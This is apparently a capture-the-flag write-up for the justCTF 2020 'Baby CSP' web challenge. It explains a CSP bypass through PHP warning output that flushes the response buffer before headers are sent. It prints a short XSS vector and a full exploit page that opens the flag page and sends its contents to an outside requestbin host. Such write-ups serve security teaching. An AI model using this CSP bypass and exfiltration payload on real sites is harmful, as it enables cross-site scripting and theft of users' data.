justCTF [*] 2020 - Baby CSP

web php csp

Baby CSP was technically the hardest web challenge (besides PainterHell) in the competition, even though I'd say it was much easier than the intended solution for njs (finding a 0day by looking through the source).

Visiting the website, the source is provided:

<?php
require_once("secrets.php");
$nonce = random_bytes(8);

if(isset($_GET['flag'])){
 if(isAdmin()){
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('Content-type: text/html; charset=UTF-8');
    echo $flag;
    die();
 }
 else{
     echo "You are not an admin!";
     die();
 }
}

for($i=0; $i<10; $i++){
    if(isset($_GET['alg'])){
        $_nonce = hash($_GET['alg'], $nonce);
        if($_nonce){
            $nonce = $_nonce;
            continue;
        }
    }
    $nonce = md5($nonce);
}

if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
    header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
    echo <<<EOT
        <script nonce='$nonce'>
            setInterval(
                ()=>user.style.color=Math.random()<0.3?'red':'black'
            ,100);
        </script>
        <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
        <p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
    show_source(__FILE__);
}

// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile

The website takes three URL parameters, flag, alg, and user. If the flag parameter is found, it'll print the flag if we are the admin. We can't see how the check works, so we can assume that we need to get XSS on the page and make a request with the flag parameter.

The 2nd parameter, alg, is plugged into the hash function, hashing the $nonce variable 10 times, replacing the md5 function. The 3rd parameter, user is an obvious XSS vector since is just outputted directly on the page. However, it only allows strings up to 23 characters...

I'll quickly explain nonces and CSP. CSP, or Content Security Policy, is an extra layer of security website operators can place on their site to help prevent XSS. It basically regulates what kind of scripts, images, stylesheets, websites, etc. that are allowed to be embed on the site.

The bottom of the website shows two URLs, /Dockerfile, and /bugbounty.php. Checking the Dockerfile shows us that PHP development mode is enabled, which enables things like warnings. Interesting... /bugbounty.php is obviously just a page to redirect the admin to our XSS.

If we can find a way to break the nonce function, we can bypass the CSP and embed our own script. We can provide a nonexistent algorithm for the hash function, but then it just spits out a warning and returns false, defaulting to using md5.

Anyway, looking up the list of hash algorithms PHP supports, we find this page. I ended up checking all of the algorithms, and found that the adler32 algorithm created a nonce which collides around every 300 attempts.

But, there's a problem - the 23 character limit. A script tag with a nonce would look something like this: <script nonce=12345678></script>, which is already 32 characters. Obviously, something is up.

This is probably where a lot of teams got lost, and I also got lost here for like an hour. Eventually, I got kinda mad, and started slamming my keyboard with characters and hitting CTRL+V a lot in the alg parameter. Magically, CSP disappeared!

We get two warnings:

Warning: hash(): Unknown hashing algorithm: 12311123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311 in /var/www/html/index.php on line 21

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:21) in /var/www/html/index.php on line 31

The first warning makes sense - I passed in a nonexistent hash algorithm. But the 2nd warning was interesting. The source of the bug is that you cannot send the response before you send headers. The response is the text that shows up on the page, and the headers are where CSP lives. PHP has a 4096 character buffer for the response where it stores text, but if that buffer is overrun, it'll be sent automatically (I think...).

Creating a large warning message (that repeats 10 times) overruns this buffer with too many characters, making it send automatically. Once any bit of the response has been sent, the header information can't be modified, which is the 2nd warning that we see. So now, there's no longer a CSP, and we can just do straight XSS.

We do have to find a 23 byte XSS vector, but one that I know is <svg/onload=eval(name)>, and this is indeed 23 characters. name comes from the window.name property, which is a custom name variable which browsers can set on iframes and windows.

So, I whip up a quick website to send over this algorithm, XSS vector, and set a custom JS payload on the page. I again get the problem where the bot leaves immediately after the page begins loading, so I place the large image again.

We get a request to the admin, and it sends our request back with the flag! Well, actually it sends back "You are not the admin"... Hm...

I ask the admin what's going on, and he ends up telling me that the admin's cookies are set to Lax mode. Here's an excerpt from the Mozilla Docs:

Cookies are not sent on normal cross-site subrequests (for example to load images or frames into a third party site), but are sent when a user is navigating to the origin site (i.e. when following a link).

This is the default cookie value if SameSite has not been explicitly specified in recent browser versions (see the "SameSite: Defaults to Lax" feature in the Browser Compatibility).

Lax replaced None as the default value in order to ensure that users have reasonably robust defense against some classes of cross-site request forgery (CSRF) attacks.

So, making a fetch request (even with credentials included) don't send the lax cookies. I end up fixing this by changing my payload to open a new tab from the XSS, and reading the tab contents from there. Here's my final payload:

<!DOCTYPE html>
<html>
    <body>
        <iframe name="let x = window.open('/?flag'); x.onload = () => {fetch('https://enavfajw8uem.x.pipedream.net/?f=' + x.document.documentElement.innerHTML)}" src="https://baby-csp.web.jctf.pro/?alg=12311123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv1231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231123123112312311231231vv&user=<svg/onload=eval(name)>"></iframe>
        <iframe src="https://enavfajw8uem.x.pipedream.net/iframe.html"></iframe>
        <img src="https://eoimages.gsfc.nasa.gov/images/imagerecords/73000/73751/world.topo.bathy.200407.3x21600x21600.B1.png" style="display:none" />
    </body>
</html>

Checking my requestbin, we have the flag:

justCTF{http_h3aders_buFFer1ng_so_c00l}